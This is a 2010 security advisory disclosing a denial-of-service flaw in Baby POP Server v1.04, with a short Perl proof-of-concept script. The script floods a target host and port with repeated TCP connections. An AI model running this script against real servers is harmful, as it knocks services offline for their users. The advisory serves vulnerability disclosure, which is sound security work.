From: Rodrigo Escobar (ipaxdclabs.com.br)
Date: Mon Aug 02 2010 - 14:02:29 CDT

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[DCA-0005]

[Software]

 - Baby POP Server

[Vendor Product Description]

 - In the past I have done several projects related to e-mail
(POP3/SMTP/IMAP4). One of the problems (at least in my company) is
that there are never good test servers available. So that's why I
decided to create this simple POP3 server, which doesn’t take many
resources and supports most of the standard POP3 commands.

[Bug Description]

 - The POP Server can't handle multiple/simultaneous connections
leading to Denial-of-Service

[History]

 - Advisory sent to vendor on 06/14/2010.
 - No response from vendor
 - Public advisory & exploit 08/02/2010.

[Impact]

 - Low

[Affected Version]

 - Baby POP Server v1.04
 - Prior versions may also be vulnerable

[Code]

#!/usr/bin/perl
use IO::Socket;

        if (ARGV < 1) {
                usage();
        }

        $ip     = $ARGV[0];
        $port   = $ARGV[1];
        $conn   = $ARGV[2];

        $num    = 0;

        print "[+] Sending request...\n";

        while ( $num <= $conn ) {
                system("echo -n .");
                $s = IO::Socket::INET->new(Proto => "tcp", PeerAddr =>
"$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";

        close($s);
        $num++;
        }

        print "\n[+] Done!\n";

sub usage() {
        print "[-] Usage: <". $0 ."> <host> <port> <num-conn>\n";
        print "[-] Example: ". $0 ." 127.0.0.1 110 1200\n";
        exit;
}

[Credits]

Rodrigo Escobar (ipax)
Pentester/Researcher Security Team DcLabs
http://www.dclabs.com.br

[Greetz]
Crash and all Dclabs members.

--
Rodrigo Escobar (ipax)
Pentester/Researcher Security Team DcLabs
http://www.dclabs.com.br

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